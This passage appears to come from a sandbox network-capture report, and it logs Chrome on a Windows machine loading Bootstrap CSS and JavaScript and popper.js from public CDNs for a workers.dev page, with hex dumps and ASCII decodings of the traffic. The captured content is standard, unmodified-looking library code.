ion:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margi
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 7b 2d 77 65 62 6b Data Ascii: to -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webk
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 Data Ascii: -bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weig
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 Data Ascii: ont-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radi
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 2c Data Ascii: .col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 Data Ascii: 7%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d Data Ascii: 7%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 2d 31 3b 6f 72 64 65 72 3a Data Ascii: dth:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	104.18.10.207	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:35 UTC	741	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://worker-curly-silence-18d1.pistisarte.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:35 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 8877a0fc5c24e86849ba7e88959615ab CDN-Cache: HIT CF-Cache-Status: HIT Age: 3815844 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87a9e8d19d744398-EWR alt-svc: h3=":443"; ma=86400
2024-04-26 22:11:35 UTC	423	IN	Data Raw: 37 63 30 32 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c02/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 Data Ascii: ry","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 Data Ascii: gger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 Data Ascii: return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._d
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d Data Ascii: }if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 Data Ascii: EAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".a
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 Data Ascii: ll),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];v
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 Data Ascii: test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirecti
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 Data Ascii: get:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 Data Ascii: t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49762	104.17.24.14	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:35 UTC	747	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://worker-curly-silence-18d1.pistisarte.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
